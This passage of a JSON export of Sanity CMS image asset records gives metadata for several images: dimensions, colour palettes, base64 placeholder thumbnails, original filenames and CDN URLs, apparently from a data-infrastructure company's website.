8,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4fcfb","foreground":"#000","population":0.33,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#808080","foreground":"#fff","population":4.38,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#36c8b6","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"97aac1ea63638b748b5c08d9997573cb04da50d7-1486x442.png","path":"images/sczeoy4w/production/97aac1ea63638b748b5c08d9997573cb04da50d7-1486x442.png","sha1hash":"97aac1ea63638b748b5c08d9997573cb04da50d7","size":116244,"uploadId":"6ItHiODPyWLw71ssOm2zayWULSlVExwt","url":"https://cdn.sanity.io/images/sczeoy4w/production/97aac1ea63638b748b5c08d9997573cb04da50d7-1486x442.png"} {"_createdAt":"2023-03-15T12:51:39Z","_id":"image-97dd7e9ca1c6a8921d9d7bf419e85e0e4f395ec5-800x800-jpg","_rev":"FyKybxTQXmO9mB4Bp10nOM","_type":"sanity.imageAsset","_updatedAt":"2023-03-15T12:51:39Z","assetId":"97dd7e9ca1c6a8921d9d7bf419e85e0e4f395ec5","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAYHCAMJ/8QAIxAAAQQBBAMAAwAAAAAAAAAAAQACAwQFBhESIQcTMVFhgf/EABcBAAMBAAAAAAAAAAAAAAAAAAEDBAD/xAAZEQEBAQADAAAAAAAAAAAAAAAAARECAxL/2gAMAwEAAhEDEQA/AL48p5a3iNNeykXMfLK2J0jR2wH6VENMzzYq5SmoW7lhs8gZNDKS4Hf6f4pR5YyuKraWtVrtqJliQD0x8hyL9+ulFPGORZEyKXLOdX4kkun6HL9JfPdijrzxVxouUVmGWMPiljew9gtcCCiYnefdvKXshdbZvWprEwO/ORxJ3WlMrGy74js2Z2D2mi1+7etnflETBlZ3r6jzNWJsVfJ244x8a2U7BERFn//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5b423e","foreground":"#fff","population":3.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#301a13","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cdadaa","foreground":"#000","population":4.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdadaa","foreground":"#000","population":4.74,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dca699","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac7064","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b66248","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"hendrik-brandis.jpg","path":"images/sczeoy4w/production/97dd7e9ca1c6a8921d9d7bf419e85e0e4f395ec5-800x800.jpg","sha1hash":"97dd7e9ca1c6a8921d9d7bf419e85e0e4f395ec5","size":126819,"uploadId":"WvdIpZ8f8zbxtCzbzFooxTn3b79Gk1jt","url":"https://cdn.sanity.io/images/sczeoy4w/production/97dd7e9ca1c6a8921d9d7bf419e85e0e4f395ec5-800x800.jpg"} {"_createdAt":"2023-11-17T09:51:15Z","_id":"image-97e611f1b977fa3beb0fe37dcdcb5ffde5841b4b-1598x680-png","_rev":"00HkATqwml6aoQnrNyAy8D","_type":"sanity.imageAsset","_updatedAt":"2023-11-17T09:51:15Z","assetId":"97e611f1b977fa3beb0fe37dcdcb5ffde5841b4b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8A.uK_PKH7:00EKD%Rj%f-;009FyC.7^l","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.35,"height":680,"width":1598},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAABYlAAAWJQFJUiTwAAACIUlEQVQokVWS3U+ScRiGX0SYUyEMXgERZyEKwy9+8AJz6drcOmq0muDMvqYd2EEWaIXf2lxTcx1YB63NSNQ2a6WhQeWabRVtbW7+R1eD96iD+/C5dn88kl6vx1RTg2ytxVIrY5EtGI1GtFotkiSpKtNg8DXgXRikN7fIxe+rnP+ySORglvD+DJHPcwTfPcK3OoRUPDbXWjBbZWz1dTR7PXi8XpxOJwaDAY1GQ5m+nNM9PvzP7zD44wWJ3xtcOlgisJlEZBIoHyYIf5pGeZ9CssoyDocDm92GCAZIjo+x8nSF0dFRhBDodTrKTVU4BnoIbT/g1s+XTBS2uLK/jEjfx5++VwKFD2aJ5OeRGp0NNDe5cZ05SzQaJZvNcnJywtraGoqioNPpqDxjxTV+ma69mf+BGwnEZlJ1mFWjSy2uJtp9rXhbWojHYhweHnJ8fEwqlaLe4Sj1ZxIuvEs3OZdbUIF/tlXgmwRie4zQ3pTqMDeP5HE342/voLO1jcGBqyVgoVBgZGQEi9mMRluGsa0R91Scrt1phn69YubvDrHcKoGiw0yC4M5DQruTRHJzSJ4mN4FOPyER4Ma16+TzeY6Ojrg9PIzdZqOiooJK2YR8wU/byhDxr8+4W0gTzS8TfDteAoqtsdLK4ey0Glm0d6CIAPG+Pl6vr7OZydAfi1Nns3PKYMRQXU2V3Ux9fzfhdJLeb0/ozj8uvUxx3WJ/RSkfJ/kHD+pBxzXf0jkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e7d62","foreground":"#fff","population":6.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#24ac6c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3e7d62","foreground":"#fff","population":6.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7abf9f","foreground":"#000","population":0.44,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#46d498","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#58b68e","foreground":"#fff","population":1.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#14bc78","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Screenshot 2023-11-17 at 11.50.45.png","path":"images/sczeoy4w/production/97e611f1b977fa3beb0fe37dcdcb5ffde5841b4b-1598x680.png","sha1hash":"97e611f1b977fa3beb0fe37dcdcb5ffde5841b4b","size":183554,"uploadId":"GKYrq0gcYNkATF06Wd7t0GM7qgu9Y2EZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/97e611f1b977fa3beb0fe37dcdcb5ffde5841b4b-1598x680.png"} {"_createdAt":"2022-06-16T23:49:33Z","_id":"image-97f23ebf185b58987922423d175fe04287802bc5-1200x630-jpg","_rev":"oamrAPLmQLQjd9jh7Zp5ZG","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T23:49:33Z","assetId":"97f23ebf185b58987922423d175fe04287802bc5","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNSB0a|yR-F{[U%5aif6oyVt+bJBofxDI@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMEBf/EACAQAAIBBAIDAQAAAAAAAAAAAAECAwAEERIFIRQxQZH/xAAXAQADAQAAAAAAAAAAAAAAAAACBQYH/8QAHREBAQACAQUAAAAAAAAAAAAAAQIAAxEFEhUhUf/aAAwDAQACEQMRAD8A1YVsPDj2gQzqOzk91Jd3EHG8R5GyLPLLphk21THyqn7hXoflKmhjuEVJ0DqvYB+VD+T7Ng2cmavtlqUF9v3FWIt7iyhlIcsy5YgYGc0VVDGscaoihVHoCilu3qNVaycGFLQBzn//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8f1d09","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0240c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4be","foreground":"#000","population":0.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc4440","foreground":"#fff","population":6.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aca8a2","foreground":"#000","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.97,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Paf_Case_Study_meta_preview.jpg","path":"images/sczeoy4w/production/97f23ebf185b58987922423d175fe04287802bc5-1200x630.jpg","sha1hash":"97f23ebf185b58987922423d175fe04287802bc5","size":200835,"uploadId":"xDAJWQ2pzs8pWEY2EugKxksby6sVePBB","url":"https://cdn.sanity.io/images/sczeoy4w/production/97f23ebf185b58987922423d175fe04287802bc5-1200x630.jpg"} {"_createdAt":"2022-06-16T22:53:49Z","_id":"image-982659ff453d758c2a566d072ef53c487b191559-95x25-svg","_rev":"qkpX9b3U0TpOGFQp8fNwOv","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:49Z","assetId":"982659ff453d758c2a566d072ef53c487b191559","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D00Ss5ofayj[ayWBayj[ayj[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.8,"height":25,"width":95},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAz0lEQVQYlU3QTyvEURSH8V99bikMWXkXlsrWyhtQNtQ0YRrFSllY+FNsqCkxygKJFDNRlGjULO3mJenUURane+73np6eeyoc4xp7aGIOU6hhAmPZT2L03/0vq2EaC9ipMMAXrnCKbayjnucK1rCJpaxmvtexgWXMYzaAP3hEu5Ryh0vc4B4PuMU73nCe9YwjHKKHfcxgJIDfOMNugmLwAh8JP8FnKSWA7cxCYBVbeMo+1lQFcJhhDL7kLg/SKL6/iDDvo5PGXbRS4hUNjAfwFxpIMHWg1jgdAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":100,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":100,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"fiverr.svg","path":"images/sczeoy4w/production/982659ff453d758c2a566d072ef53c487b191559-95x25.svg","sha1hash":"982659ff453d758c2a566d072ef53c487b191559","size":7079,"uploadId":"itJa1KbHGYwELUX8uL4sPayaC7FOYeLW","url":"https://cdn.sanity.io/images/sczeoy4w/production/982659ff453d758c2a566d072ef53c487b191559-95x25.svg"} {"_createdAt":"2023-02-02T13:10:51Z","_id":"image-9837943b53091181eb4d7cbad98e67629d57f0b3-1152x411-png","_rev":"iop8tFFqgfe67JrEbae713","_type":"sanity.imageAsset","_updatedAt":"2023-02-06T11:44:53Z","altText":null,"assetId":"9837943b53091181eb4d7cbad98e67629d57f0b3","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D7S$ihGbD5yDIU}]PA8xEMRl","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.802919708029197,"height":411,"width":1152},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAABAklEQVQYlWWQy07DMBBF/f9fw5odC1RVYsEGAaU0glat+oiduPZkXp4gJ5uiXlnyZo597rh4bHPoEQZmUVUzG+9iZqpFVTVBWe1s+WGv33bwrjn45thv29T2AAOqlnu+lELEiESXTpbv8vDMjy+y2rrFpn3ahMVv/PEAxFrpyt9k/lmFRdLA+wt+7YZmj+fgPpvT29avz1efkJiJqF4sc+pbk0rlRTgjZUQkJhZiByHlNCDVxiKcgHzAEHLXxxhjzplIRKqMilBGAmRiFTVRN86a42i1m2XQ84WOp2vru3iNAJmqyKRfStHpTLVGMzf+X4+IZSgp84AsOmvX6WnlE3OTP/0OlW8KtdzDAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c5c5c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bb1c4c","foreground":"#fff","population":0.28,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f00a4a","foreground":"#fff","population":0.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9b99ce","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#81d9fc","foreground":"#000","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#878885","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f00a4a","foreground":"#fff","population":0.62,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"9837943b53091181eb4d7cbad98e67629d57f0b3-1152x411.png","path":"images/sczeoy4w/production/9837943b53091181eb4d7cbad98e67629d57f0b3-1152x411.png","sha1hash":"9837943b53091181eb4d7cbad98e67629d57f0b3","size":59406,"title":"Application versioning in Aiven for Apache Flink.","uploadId":"4MSqF8gZuLl22skowHP7PZNdBAm7qFk1","url":"https://cdn.sanity.io/images/sczeoy4w/production/9837943b53091181eb4d7cbad98e67629d57f0b3-1152x411.png"} {"_createdAt":"2023-07-21T10:33:18Z","_id":"image-986a7d8335750335051593a629b3619f01a8c6c6-573x573-jpg","_rev":"liXun5Qglq4dGLky9T5fmh","_type":"sanity.imageAsset","_updatedAt":"2023-07-21T10:33:18Z","assetId":"986a7d8335750335051593a629b3619f01a8c6c6","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eEAv^ARj0Lf+~V-BayK4axwJ57jt=xoLEM57t7=|WBR*Ncay%1kCM|","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":573,"width":573},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAYHBAX/xAAmEAABBAICAQIHAAAAAAAAAAADAAECBAUREiEGIlEHFCMxQWGR/8QAFwEAAwEAAAAAAAAAAAAAAAAAAgMEAf/EAB0RAAIBBAMAAAAAAAAAAAAAAAABAgMREjETM0H/2gAMAwEAAhEDEQA/AMWqYe1Yshr19kOSTRi0n6fat/J/h/dw1epZNOuUMvSXhHi45eyicnlxByFYVay4iwK31IdvHv7qp89ztmmPG/M5MdoJPXKIYPHl+5b/AChm55q2gqbhxvPfh4psIJp9Mi6a2XrWhMWE20/uiddk5A42ESZ0MZttnMzP/VpfndEFwWNEWOouXjuPT60iIRVXtiZMYpK5iCFN2hGTsyIi0pP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#524030","foreground":"#fff","population":0.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c1c0f","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e0b49c","foreground":"#000","population":9.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#92949c","foreground":"#fff","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0b49c","foreground":"#000","population":9.88,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#77ae9f","foreground":"#000","population":2.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a86641","foreground":"#fff","population":0.2,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"1563461771343.jpeg","path":"images/sczeoy4w/production/986a7d8335750335051593a629b3619f01a8c6c6-573x573.jpg","sha1hash":"986a7d8335750335051593a629b3619f01a8c6c6","size":79799,"uploadId":"1eLVGdOmlUp0o3ZZcENqXNTF7npUlNOy","url":"https://cdn.sanity.io/images/sczeoy4w/production/986a7d8335750335051593a629b3619f01a8c6c6-573x573.jpg"} {"_createdAt":"2024-05-24T09:47:17Z","_id":"image-987dbc4f0f736b0470a7c9b3cab9c35b67a1e408-1959x1955-png","_rev":"jlE3yG3C5Lxk0cUOqWtR8k","_type":"sanity.imageAsset","_updatedAt":"2024-05-24T09:47:17Z","assetId":"987dbc4f0f736b0470a7c9b3cab9c35b67a1e408","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eHPsCexZ00og4T$*~WWC?Fof00WB5UoJpdIo?Ft7I9oe00ofyFae%L","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0020460358056267,"height":1955,"width":1959},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABYlAAAWJQFJUiTwAAAELElEQVQ4jYWU22/bZBjGPykcbxCnsUkgIUBpR9lu2Rh/AC1qKi644Yp2G6LiDnGDuOCGv2BMmrS1dEoZUtEErdQ2zjqS5tSkaZumR7qWtknsnNMcmsSOncTvgz4ntKmEwNLjz68t//x878GMxi88i8krb9Bs73skDFwmwXKJBMvlM7IPcF0CX2293Zi69iomLpqIMYb5QYY+xtDDGMZeYAyTV1+n0A/D2P91DKLwCyT7A4jCqTpi4s8Pfx/B5o9fwXXTTPeeMgFg8H/N8FkLymi2913sT4xScfeIlFxNl7MyKTlDupKV/4lRy8lUO5KpmigjsxTCzsi3mB80w/raCZT6OFAY6IFoG9flrFKpykgk0xDjCcSTKUjxJFLpLJSaCiIYB5EOaCUN2ZW1FnTIDOu5FtR1nTFdsHCgtVFJVWNSAg63X58WHCQ8dtOc00uBYIjSmSzpus6RRAQyzhyaC7Whg2aMPGMCYxzY3wKWk7IkRrHg85LD6YTH60PAv4Dwkg+ZRAR6s254JA6DAQW1nRKHum6YMdFtYtR2qFdTslJKoSCGqRAJohhbQSm2hONoAGr+ENTUQG0edR5qUaNMMISNW8M09cHLDHZLD8VsVigZGQ0ZqMQI+XXgaBUobAHlCM8ZwHPXTmPHSsb9qlSig4d3YOt9m5F9oAcxm5V4RXUdeqNGulYGqUXoWgXNhopGo4Fmswn+nDvk+WzHZDhWMlVEp8fIPtB9suVGJS3nC0WI8SQlU1mk0jlIiTREKQlRSpwRr348kaKYlKCjfAGNSrKC2MxPJFi6mG7r74EkWGvFePXJ7j7mPX6ady+QY96HOYeHxwiuhLG4HMYjhxszwh9wuHzw+pfw2Omlze0nUApiFeLMWNPW3waKwrh6nJD519c3/6Sl0Bp8gWVyexeNF8PrWwhvbMPp9mPG7sCc0wOPLwine4G2d/ZawNjMmM6BNNtrxuFvd/WKdKxpKpRajSrVKpVKx7zJibve2d3HXwcR8JeXQ+sIBEMILoexur7Ftw21JLWBli6GqWuvEJ/N7NIqtFL9pHoAqaqGfL5I6UzOmJjDSAyh8CZ3j4XFFX5NMTEOtSh1OJy4aIL7iy7aGf2OcqF13qydvcarKcuKAeUuV9c2DXc8r+GNbeJpOgPk44LR50zkGjKgOIWejFpNVSl3lCfeAYdR0VAkJvFY551RLydOqwzXDUZ8sMfPm+C63gmt8x+B0XfNJur1OlRVPZGmaYYajQZITsuITt8nu6Wb4VPGEPiGGX8LAzrUBQ7NBFepIpWgpCstZf5NZSjpKgpbadr7+Q5mPzIzvM8YhhijNpRGnzfBfbOLNm8N4+DhbYpO3/sP3aXo9AjtPbiN5e8/p8kr5xndf7EF5U49X7ac8kJNffgSbB+/iUefvPO/svW9hcmr5zB+4em/AVal9dWIaJIbAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b444d","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6f4307","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f99607","foreground":"#000","population":3.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0b4c4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fce06d","foreground":"#000","population":0.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a97454","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f99607","foreground":"#000","population":3.58,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"badge-aws-partner-data-and-analytics-software-competency.png","path":"images/sczeoy4w/production/987dbc4f0f736b0470a7c9b3cab9c35b67a1e408-1959x1955.png","sha1hash":"987dbc4f0f736b0470a7c9b3cab9c35b67a1e408","size":214792,"uploadId":"sP45uXPytmZUspnR9LYhOiC29m4u0MTU","url":"https://cdn.sanity.io/images/sczeoy4w/production/987dbc4f0f736b0470a7c9b3cab9c35b67a1e408-1959x1955.png"} {"_createdAt":"2023-04-04T09:28:53Z","_id":"image-9886f4c339a9b79dfabaee10e02d885a861a0c68-3352x1328-png","_rev":"doctNA9eTfleifdZvl5RBc","_type":"sanity.imageAsset","_updatedAt":"2023-04-04T09:28:53Z","assetId":"9886f4c339a9b79dfabaee10e02d885a861a0c68","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.5240963855421685,"height":1328,"width":3352},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAABUElEQVQYlW2QzUvCYBzH978GWc1tz7PtMdcbHTSmbo+OLSk1bWRpehKNIqVTl0ToJAXlFMyZkIeIymaHmppNCj48hy/P5/dGLMxvuUjRRYmLTHAJhkggkVCiIKYgdrPYDTHFYpoLUyyeAGU3lCkg0XSQIKkQydiCHXEYehTeqyJBQ4LKr2hI0HhBhR6F5sJTGFZGpM87t0qM641TYX1HjebTmbNsrmyTr2Tz5dRByR/QnT5wytPUH9DLF1Wj1el0n8zuU7fXf+z16zfNpF7iBXU6P81iBkqACY7kH0Q5fVWrP7+8Dj6sgWVZw8/h27vZaB8dniJBG//8XZ4LE85lfOL+eaV6d99utkyjZRrGQ+P6tnZyGdOOOe+ks5MZeXktKiuZeLKQSBUTqWJ8rxDbzqkBfXNjF6CZm/0j28dAEYAUiBSAFOAZvUhh+Mhf81v+AqzrCLoaVvVwAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#434866","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#782c52","foreground":"#fff","population":0.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6c748c","foreground":"#fff","population":65.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acc4cc","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e894ae","foreground":"#000","population":0.09,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c748c","foreground":"#fff","population":65.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ce3f4e","foreground":"#fff","population":0.53,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"create_kafka_topic.png","path":"images/sczeoy4w/production/9886f4c339a9b79dfabaee10e02d885a861a0c68-3352x1328.png","sha1hash":"9886f4c339a9b79dfabaee10e02d885a861a0c68","size":55156,"uploadId":"BBHtihXtIv6nPnvzQX2DwVXoGF2tnwB2","url":"https://cdn.sanity.io/images/sczeoy4w/production/9886f4c339a9b79dfabaee10e02d885a861a0c68-3352x1328.png"} {"_createdAt":"2022-06-15T20:02:09Z","_id":"image-98922b4e18e6e8bb9b3a4a2c9fc056f74a0dd19e-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO81yj","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:24:15Z","assetId":"98922b4e18e6e8bb9b3a4a2c9fc056f74a0dd19e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MXP$zP.TKmDh=^T3RjbXr=W?=_M_a^xCWZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADRUlEQVQokQXB31PaBhwA8PxBe3C96+seuu26x+1hu9uPh627ee7B221re7fTdq3b1VLtiVpm1cqP2jIrqJtdWxGvQPhhRER+iJBAIAkJhCQgJEGvtfl+9/kQNb71C10WXEWaWy0xvKfE8M4yK7oEUXvaUg2f2u77VVX3tznar0eW/H3X937D8ZW/6x3xq6TPz5fLPr5lrMla36Nq5g2iUKw+SlBphowm22GSkslYsplKH8lsVVJkRddUTdfaXF4zyQntjfOyZsxc0riln7Sc+7ZW8NzScoFnapbh2lzLrCqauUbkj1lfgjpsk7EkhsIJjMb2MXdUwVpdRVk1UGtyqB848Mz3EZ7OX0DJ/S1GvDO4Mj+Fm5O/YnRhFHdDrzBfa/YExdwhSrXWOsNKKlOpY5HmrFJFBEbQgJZ6ILS6oNVC0At/A6rvA+A3r0LqpRu8y26YttvBc/c6hGxXrPjyOCZS+5282NkmilLvpaQYHVY2MFnXIScZwMoGlBoGMJIKDXoZO+EPQdj6Ag8jKxjcDqLT6cSZaTuuzPyB8YnvgHIMYyy4cbLH1oNERtS3RMXspCQTnzAGvOZNFBQTeaWPtNTERmka+7sXsRX9EvdJH/67+R8+WlxEh8OBfz+8j6R9CPZmBzH+wn2SKDFBgqobrwTF7JRkE8O8AVnJgJaqg6Ia0JAl6LKzcJ6+AF3qMhyGHsDGqhcWHs6B3T4Ns5N/wsb9IYgvDiMVfHJyQB8HibRoPBcVo91SdWwqPUtRT6DTUqHbaIBeZ+GM9cK7w4/hNPYeSK+vwN4/9+Dx3KQ1fucOjN24Do8nfrSiz25hhnrRqbH5bULiG2syV283BQE1qY66XMd+o4pn3DG+YbN4TgfQSl9FK3IR3+68j83nn2FgaRjt49dw/ObPuPrXKKYCLuSyZE9nkjtEr1x4oBxn0lIxw2u1QvVUKtbeSke1cyFTs7hUBdg4DUUvjalBGiIDTCcwwKfXP22suwaF5fnfKqH1hTJHbXH6USz37jj6lOhzha91Nnuzy2bu9fmM7VzM2CwxbQPx4C6IqTGo74+CkBgB1jNi5T7/vUMNTBbIT+ZioaGpBDk1Vk4Hxgx612ZVqdvA7v7wPzMuv7l3zaLyAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e3a46","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","b